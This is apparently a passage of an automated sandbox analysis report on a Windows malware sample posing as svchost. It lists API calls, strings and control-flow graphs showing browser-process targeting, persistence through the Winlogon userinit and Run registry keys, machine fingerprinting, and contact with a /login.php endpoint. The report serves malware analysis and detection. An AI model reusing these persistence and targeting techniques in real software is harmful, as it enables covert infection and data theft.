                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4F212B7AE4431877E720DAA5BC81FCA77ACDB54710F400585F688E6280DEF0AEC48B90
                                                                                                                                                                                                            Function 02D17300 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 89memoryprocessCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02D17314
                                                                                                                                                                                                            • Process32First.KERNEL32(00000000,?), ref: 02D17339
                                                                                                                                                                                                            • GetCurrentProcessId.KERNEL32(?,00000000), ref: 02D1735D
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex,?,?,00000000), ref: 02D17377
                                                                                                                                                                                                            • EnterCriticalSection.KERNEL32(02D4FB80,?,00000000), ref: 02D1739B
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000010,?,00000000), ref: 02D173A1
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,00000000), ref: 02D173A8
                                                                                                                                                                                                            • LeaveCriticalSection.KERNEL32(02D4FB80,?,00000000), ref: 02D173D7
                                                                                                                                                                                                              • Part of subcall function 02D24450: OpenProcess.KERNEL32(00000400,00000000,00000000,7591F550,00000000,76EDC3F0), ref: 02D24465
                                                                                                                                                                                                              • Part of subcall function 02D24450: OpenProcessToken.ADVAPI32(00000000,00000018,?,?,?,?,?,?,?,?,?,?,?,?,02D153C3), ref: 02D2447C
                                                                                                                                                                                                              • Part of subcall function 02D24450: GetTokenInformation.KERNELBASE(?,00000007(TokenIntegrityLevel),?,00000010,?), ref: 02D2449A
                                                                                                                                                                                                              • Part of subcall function 02D24450: CharUpperA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,02D153C3), ref: 02D244B2
                                                                                                                                                                                                              • Part of subcall function 02D24450: GetHandleInformation.KERNEL32(?,00000000), ref: 02D2450B
                                                                                                                                                                                                              • Part of subcall function 02D24450: FindCloseChangeNotification.KERNEL32(?), ref: 02D2451C
                                                                                                                                                                                                              • Part of subcall function 02D24450: GetHandleInformation.KERNEL32(00000000,?), ref: 02D2452E
                                                                                                                                                                                                              • Part of subcall function 02D24450: CloseHandle.KERNEL32(00000000), ref: 02D2453F
                                                                                                                                                                                                            • Process32Next.KERNEL32(00000000,00000128), ref: 02D173EB
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?,?,00000000), ref: 02D17405
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?,00000000), ref: 02D17416
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex, xrefs: 02D17372
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Handle$InformationProcess$Close$CriticalHeapOpenProcess32SectionToken$AllocChangeCharCreateCurrentEnterFindFirstLeaveNextNotificationSnapshotToolhelp32Upper
                                                                                                                                                                                                            • String ID: iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|frd.ex
                                                                                                                                                                                                            • API String ID: 3743708096-4199822264
                                                                                                                                                                                                            • Opcode ID: f6f04134522824db804c22891aa0255bc07f856ca5f21d94291aa3876ffdec6e
                                                                                                                                                                                                            • Instruction ID: 8f106cb2208b0bc3eacfc4288698361be66cb8556c3fc1525f854b62a11f4802
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f6f04134522824db804c22891aa0255bc07f856ca5f21d94291aa3876ffdec6e
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F6318074D41215AFEB209F65E848BAEBBF8EF54754F504498E889D2340DB70AE54CFA0
                                                                                                                                                                                                            Function 00403870 Relevance: 19.3, APIs: 4, Strings: 7, Instructions: 48registryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,HARDWARE\DESCRIPTION\System,00000000,00000101,y9@), ref: 0040389C
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(80000002,SystemBiosVersion,00000000,00000007,?,00000400), ref: 004038C1
                                                                                                                                                                                                            • RegCloseKey.KERNEL32(y9@), ref: 004038CF
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(y9@), ref: 004038DF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3269898642.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3269898642.000000000045E000.00000040.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_400000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Close$OpenQueryValue
                                                                                                                                                                                                            • String ID: E$HARDWARE\DESCRIPTION\System$M$Q$SystemBiosVersion$U$y9@
                                                                                                                                                                                                            • API String ID: 1607946009-2685269968
                                                                                                                                                                                                            • Opcode ID: d1a36d96073f5a746890f6a5e71d9fcf43d2de7dda4d0654719f46e6941f7b17
                                                                                                                                                                                                            • Instruction ID: a73e17f2ece4285d148bbbe7d21167b22b4148350c2fc20c0d473cf4689022c2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: d1a36d96073f5a746890f6a5e71d9fcf43d2de7dda4d0654719f46e6941f7b17
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 951165F2E00208FAEB20DF90DC45BAA7BB89B45315F1081EAE708751C1D7B86A448F5D
                                                                                                                                                                                                            Function 028C1360 Relevance: 4.7, APIs: 3, Instructions: 233librarymemoryloaderCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,?,00003000,00000040,00000000,61FF864A), ref: 028C1435
                                                                                                                                                                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000000,00000000,0AFB4677), ref: 028C14F5
                                                                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,00000000,00000000,180E1688), ref: 028C154C
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3272240736.00000000028C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 028C0000, based on PE: false
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_28c0000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: AddressAllocLibraryLoadProcVirtual
                                                                                                                                                                                                            • String ID:
                                                                                                                                                                                                            • API String ID: 4074058790-0
                                                                                                                                                                                                            • Opcode ID: aa7ce5a238270ceac95f37866199dfe78f7af4c79aa13279955b4abe68ef9424
                                                                                                                                                                                                            • Instruction ID: 1afdac3fb950e88f9e156eab60afd9960b8a15c4c4b8e9a47c98aff7b5bec377
                                                                                                                                                                                                            • Opcode Fuzzy Hash: aa7ce5a238270ceac95f37866199dfe78f7af4c79aa13279955b4abe68ef9424
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 64813C79D00619AFCB10DFA8C888BAEB7B6AF88754F254559E808F7305D734E901CF95
                                                                                                                                                                                                            Function 02D17820 Relevance: 63.3, APIs: 32, Strings: 4, Instructions: 276memoryregistrysynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 350 2d17820-2d17832 351 2d17835-2d1783a 350->351 351->351 352 2d1783c-2d17843 351->352 353 2d17a85-2d17a8d IsUserAnAdmin 352->353 354 2d17849-2d17856 PathFileExistsA 352->354 355 2d17aa6-2d17ab6 353->355 356 2d17a8f-2d17aa4 353->356 354->353 357 2d1785c-2d17879 GetProcessHeap HeapAlloc 354->357 358 2d17abb-2d17ac3 RegOpenKeyExA 355->358 356->358 357->353 359 2d1787f-2d178bd memset GetShortPathNameA RegOpenKeyExA 357->359 362 2d17ac5-2d17ad4 CreateEventA 358->362 363 2d17b1a-2d17b20 358->363 360 2d178c3-2d178e5 RegQueryValueExA 359->360 361 2d17a0b-2d17a28 RegOpenKeyExA 359->361 364 2d179fb-2d17a09 RegFlushKey 360->364 365 2d178eb-2d17901 GetProcessHeap HeapAlloc 360->365 367 2d17a63-2d17a77 GetProcessHeap HeapValidate 361->367 368 2d17a2a-2d17a2f 361->368 362->363 366 2d17ad6-2d17aef RegNotifyChangeKeyValue 362->366 371 2d17a5d RegCloseKey 364->371 365->364 369 2d17907-2d17939 memset RegQueryValueExA StrStrIA 365->369 370 2d17af0-2d17af7 WaitForSingleObject 366->370 367->353 373 2d17a79-2d17a7f GetProcessHeap HeapFree 367->373 372 2d17a30-2d17a35 368->372 374 2d179d9-2d179ed GetProcessHeap HeapValidate 369->374 375 2d1793f-2d17941 369->375 370->370 376 2d17af9-2d17aff 370->376 371->367 372->372 377 2d17a37-2d17a5c RegSetValueExA RegFlushKey 372->377 373->353 374->364 378 2d179ef-2d179f5 GetProcessHeap HeapFree 374->378 379 2d17944-2d17949 375->379 380 2d17b01-2d17b06 call 2d245e0 376->380 381 2d17b0b-2d17b18 RegNotifyChangeKeyValue 376->381 377->371 378->364 379->379 382 2d1794b-2d1794d 379->382 380->381 381->370 384 2d17971 382->384 385 2d1794f-2d17954 382->385 387 2d17973-2d17978 384->387 385->384 386 2d17956-2d17959 385->386 388 2d17960-2d17966 386->388 387->387 389 2d1797a-2d1797f 387->389 388->388 390 2d17968-2d1796e 388->390 391 2d17980-2d17986 389->391 390->384 391->391 392 2d17988-2d17999 391->392 393 2d179a0-2d179a6 392->393 393->393 394 2d179a8-2d179b4 393->394 395 2d179b7-2d179bc 394->395 395->395 396 2d179be-2d179d6 RegSetValueExA 395->396 396->374
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(C:\Windows\apppatch\svchost.exe), ref: 02D1784E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000110), ref: 02D17863
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D17870
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D17887
                                                                                                                                                                                                            • GetShortPathNameA.KERNEL32(C:\Windows\apppatch\svchost.exe,00000000,00000104), ref: 02D1789A
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,software\microsoft\windows nt\currentversion\winlogon,00000000,00000103,?), ref: 02D178B5
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,userinit,00000000,00000000,00000000,00000000), ref: 02D178D3
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-00000010), ref: 02D178F4
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02D178FB
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D1790B
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,userinit,00000000,00000000,00000000,00000000), ref: 02D17925
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,C:\Windows\apppatch\svchost.exe), ref: 02D17931
                                                                                                                                                                                                            • RegSetValueExA.KERNEL32(?,userinit,00000000,00000001,00000000,00000002), ref: 02D179D0
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D179E2
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D179E5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D179F2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D179F5
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?), ref: 02D179FF
                                                                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,software\microsoft\windows\currentversion\run,00000000,000F013F,?), ref: 02D17A20
                                                                                                                                                                                                            • RegSetValueExA.ADVAPI32(?,userinit,00000000,00000001,00000000,00000002), ref: 02D17A49
                                                                                                                                                                                                            • RegFlushKey.ADVAPI32(?), ref: 02D17A53
                                                                                                                                                                                                            • RegCloseKey.KERNEL32(?), ref: 02D17A5D
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D17A6C
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02D17A6F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02D17A7C
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02D17A7F
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02D17A85
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000001,software\microsoft\windows\currentversion\run,00000000,00000101,?), ref: 02D17ABB
                                                                                                                                                                                                            • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02D17ACA
                                                                                                                                                                                                            • RegNotifyChangeKeyValue.KERNEL32(?,00000000,0000000F,00000000,00000001), ref: 02D17AE7
                                                                                                                                                                                                            • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 02D17AF3
                                                                                                                                                                                                            • RegNotifyChangeKeyValue.ADVAPI32(?,00000000,0000000F,00000000,00000001), ref: 02D17B16
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$ProcessValue$Open$AllocChangeFlushFreeNotifyPathQueryValidatememset$AdminCloseCreateEventExistsFileNameObjectShortSingleUserWait
                                                                                                                                                                                                            • String ID: C:\Windows\apppatch\svchost.exe$software\microsoft\windows nt\currentversion\winlogon$software\microsoft\windows\currentversion\run$userinit
                                                                                                                                                                                                            • API String ID: 2447656991-2103896814
                                                                                                                                                                                                            • Opcode ID: 804803d83baa389672c9a2aa0659d0ece594446c87968725a4f2f9fafc2608d9
                                                                                                                                                                                                            • Instruction ID: db576244869007a9b68cd098162378d4c8d5bfd84cf73f88ee4afddffe64f113
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 804803d83baa389672c9a2aa0659d0ece594446c87968725a4f2f9fafc2608d9
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 1081FB78A80305BBFB208F64BC89FAAB7A9EF54B04F504504F945A7394DBB09D04C7A0
                                                                                                                                                                                                            Function 02D063B0 Relevance: 61.6, APIs: 29, Strings: 6, Instructions: 303memorynetworkfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 397 2d063b0-2d0640e memset DnsFlushResolverCache gethostbyname 398 2d06414-2d06441 GetTempPathA GetTempFileNameA 397->398 399 2d06708-2d06717 PathFileExistsA 397->399 402 2d06444-2d06449 398->402 400 2d06735-2d0673e 399->400 401 2d06719-2d0672f SetFileAttributesA DeleteFileA 399->401 401->400 402->402 403 2d0644b-2d0645b call 2d01720 402->403 406 2d06462-2d06485 call 2d14680 403->406 407 2d0645d 403->407 410 2d06487-2d064a2 call 2d14680 406->410 411 2d064af-2d064c7 call 2d07220 406->411 407->406 414 2d064a7-2d064a9 410->414 411->399 416 2d064cd-2d064e2 calloc * 2 411->416 414->399 414->411 417 2d064e4-2d064e5 exit 416->417 418 2d064eb-2d064f5 calloc 416->418 417->418 419 2d064f7-2d064f8 exit 418->419 420 2d064fe-2d0651f calloc 418->420 419->420 421 2d06521-2d06522 exit 420->421 422 2d06528-2d06532 calloc 420->422 421->422 423 2d06534-2d06535 exit 422->423 424 2d0653b-2d0655c calloc 422->424 423->424 425 2d06566-2d06571 calloc 424->425 426 2d0655e-2d06560 exit 424->426 427 2d06573-2d06575 exit 425->427 428 2d0657b-2d065a1 calloc 425->428 426->425 427->428 429 2d065a3-2d065a5 exit 428->429 430 2d065ab-2d065ba calloc 428->430 429->430 431 2d065c4-2d06615 call 2d01ac0 * 3 call 2d01b30 430->431 432 2d065bc-2d065be exit 430->432 441 2d06617-2d0661f 431->441 432->431 441->441 442 2d06621-2d0663a _strrev 441->442 443 2d06640-2d06645 442->443 443->443 444 2d06647-2d06656 443->444 445 2d06658-2d0665c 444->445 446 2d0666c-2d0666e 444->446 447 2d06670-2d06678 445->447 448 2d0665e-2d0666a 445->448 446->447 449 2d066b3 446->449 451 2d0667a-2d0667d 447->451 452 2d066ab-2d066b1 447->452 448->445 448->446 450 2d066b5-2d066fa call 2d01970 * 4 GetProcessHeap HeapValidate 449->450 450->399 466 2d066fc-2d06702 GetProcessHeap RtlFreeHeap 450->466 451->449 454 2d0667f-2d06689 451->454 452->450 454->452 456 2d0668b-2d0668e 454->456 456->449 457 2d06690-2d0669a 456->457 457->452 459 2d0669c-2d0669f 457->459 459->449 461 2d066a1-2d066a9 459->461 461->452 466->399
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • /login.php, xrefs: 02D06475, 02D06499
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02D06454
                                                                                                                                                                                                            • !verif, xrefs: 02D063DD
                                                                                                                                                                                                            • 6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9, xrefs: 02D065CC
                                                                                                                                                                                                            • 10001, xrefs: 02D065E9
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02D0645D, 02D0646D, 02D06491
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: callocexit$FileHeap$PathProcessTempfree$AttributesCacheDeleteExistsFlushFreeNameResolverValidate_strrevgethostbynamememset
                                                                                                                                                                                                            • String ID: !verif$/login.php$10001$6908741AF4E26C68E1EE46F1041F009EECA931D2D53E11AD04CF03DEB7677754725005219D4B978D957ABA1678D353DE5AA0586B49E21F7EFFE2F73D7D2D8E26395286E1EA7A106CD617966D9FC5906C6E952289B4D671BA6ADE1B80ECF2468552F401D4D8134CAF4B56DC5F18B673710974A6F7A9AE9273979C092F52E8D7C9$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                            • API String ID: 3012421807-801546749
                                                                                                                                                                                                            • Opcode ID: 24bcd9ce15dc69fcb5fab0348a6357fd2d0ba895f23fb43b5bc216cc2e1c60f3
                                                                                                                                                                                                            • Instruction ID: d75e90bc1525b5feab93963a02bed9b90f78590112408ee6168fa718fd1a60ce
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 24bcd9ce15dc69fcb5fab0348a6357fd2d0ba895f23fb43b5bc216cc2e1c60f3
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 36B1F475A40215ABEB209FA09CC4BAE7BBCAF45700F444499FA45AB3D0D7B4DE54CBE0
                                                                                                                                                                                                            Function 02D03220 Relevance: 49.2, APIs: 19, Strings: 9, Instructions: 185memoryregistryCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 467 2d03220-2d0325a memset call 2d24c00 470 2d03260-2d0326d call 2d24d00 467->470 471 2d03417-2d0341e 467->471 474 2d03273-2d032b0 GetEnvironmentVariableA GetVolumeInformationA 470->474 475 2d033c5-2d033db GetProcessHeap HeapValidate 470->475 482 2d032b2 474->482 483 2d032b9-2d032d6 RegOpenKeyExA 474->483 476 2d033ec-2d033f1 475->476 477 2d033dd-2d033e6 GetProcessHeap HeapFree 475->477 479 2d033f3-2d033fd GetProcessHeap HeapValidate 476->479 480 2d0340e-2d03416 476->480 477->476 479->480 481 2d033ff-2d03408 GetProcessHeap HeapFree 479->481 481->480 482->483 484 2d032d8-2d032f9 RegQueryValueExA RegCloseKey 483->484 485 2d032ff-2d03304 483->485 484->485 486 2d03306 485->486 487 2d03309-2d03315 485->487 486->487 488 2d03317-2d0331c 487->488 489 2d0331e-2d03321 CharUpperA 487->489 490 2d03323-2d0334d CharUpperA _snprintf 488->490 489->490 491 2d03350-2d03355 490->491 491->491 492 2d03357-2d03359 491->492 493 2d0335b 492->493 494 2d033bd-2d033c0 492->494 495 2d03360-2d03365 493->495 494->475 496 2d03366-2d0336c 495->496 496->496 497 2d0336e-2d0337d 496->497 498 2d03380-2d03385 497->498 498->498 499 2d03387-2d033ad _snprintf 498->499 500 2d033b0-2d033b5 499->500 500->500 501 2d033b7-2d033bb 500->501 501->494 501->495
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02D03246
                                                                                                                                                                                                              • Part of subcall function 02D24C00: memset.MSVCRT ref: 02D24C33
                                                                                                                                                                                                              • Part of subcall function 02D24C00: GetProcessHeap.KERNEL32(00000008,00000110,?,00000000), ref: 02D24C42
                                                                                                                                                                                                              • Part of subcall function 02D24C00: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 02D24C49
                                                                                                                                                                                                              • Part of subcall function 02D24C00: memset.MSVCRT ref: 02D24C61
                                                                                                                                                                                                              • Part of subcall function 02D24C00: GetUserNameA.ADVAPI32(00000000,00000104), ref: 02D24C78
                                                                                                                                                                                                              • Part of subcall function 02D24C00: GetLastError.KERNEL32(?,?,?,?,00000000), ref: 02D24C7E
                                                                                                                                                                                                              • Part of subcall function 02D24C00: GetUserNameA.ADVAPI32(00000000,00000104), ref: 02D24C9F
                                                                                                                                                                                                              • Part of subcall function 02D24C00: StrChrIA.SHLWAPI(?,?,?,00000000,?,?,?,?,00000000), ref: 02D24CC6
                                                                                                                                                                                                              • Part of subcall function 02D24C00: lstrcpynA.KERNEL32(?,00000001,00000104,?,?,00000000,?,?,?,?,00000000), ref: 02D24CDA
                                                                                                                                                                                                              • Part of subcall function 02D24D00: memset.MSVCRT ref: 02D24D34
                                                                                                                                                                                                              • Part of subcall function 02D24D00: GetProcessHeap.KERNEL32(00000008,00000110,?,00000000,00000000), ref: 02D24D43
                                                                                                                                                                                                              • Part of subcall function 02D24D00: HeapAlloc.KERNEL32(00000000,?,00000000,00000000), ref: 02D24D4A
                                                                                                                                                                                                              • Part of subcall function 02D24D00: memset.MSVCRT ref: 02D24D62
                                                                                                                                                                                                              • Part of subcall function 02D24D00: GetComputerNameA.KERNEL32(00000000,00000104), ref: 02D24D79
                                                                                                                                                                                                              • Part of subcall function 02D24D00: GetLastError.KERNEL32(?,?,?,?,00000000,00000000), ref: 02D24D7F
                                                                                                                                                                                                              • Part of subcall function 02D24D00: GetComputerNameA.KERNEL32(00000000,00000104), ref: 02D24DA0
                                                                                                                                                                                                              • Part of subcall function 02D24D00: StrChrIA.SHLWAPI(?,?,?,00000000,?,?,?,?,00000000,00000000), ref: 02D24DC7
                                                                                                                                                                                                              • Part of subcall function 02D24D00: lstrcpynA.KERNEL32(?,00000001,00000104,?,?,00000000,?,?,?,?,00000000,00000000), ref: 02D24DDB
                                                                                                                                                                                                            • GetEnvironmentVariableA.KERNEL32(SystemDrive,?,00000104,?,?,76EDC3F0), ref: 02D03284
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?,?,?,76EDC3F0), ref: 02D03291
                                                                                                                                                                                                            • GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,76EDC3F0), ref: 02D032A8
                                                                                                                                                                                                            • RegOpenKeyExA.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00000101,?,?,?,76EDC3F0), ref: 02D032CE
                                                                                                                                                                                                            • RegQueryValueExA.KERNEL32(?,InstallDate,00000000,?,?,?,?,?,76EDC3F0), ref: 02D032EF
                                                                                                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,76EDC3F0), ref: 02D032F9
                                                                                                                                                                                                            • CharUpperA.USER32(00000000,?,?,76EDC3F0), ref: 02D0331F
                                                                                                                                                                                                            • CharUpperA.USER32(00000000,?,?,?,76EDC3F0), ref: 02D03328
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D03341
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02D0339F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,76EDC3F0), ref: 02D033CE
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,76EDC3F0), ref: 02D033D7
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,02D168CF,?,?,76EDC3F0), ref: 02D033E3
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,76EDC3F0), ref: 02D033E6
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,76EDC3F0), ref: 02D033F6
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000,?,?,76EDC3F0), ref: 02D033F9
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,?,?,?,76EDC3F0), ref: 02D03405
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000,?,?,76EDC3F0), ref: 02D03408
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3273788686.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3273788686.0000000002D5E000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2d00000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$memset$Name$CharComputerErrorFreeLastUpperUserValidate_snprintflstrcpyn$AllocAllocateBackslashCloseEnvironmentInformationOpenPathQueryValueVariableVolume
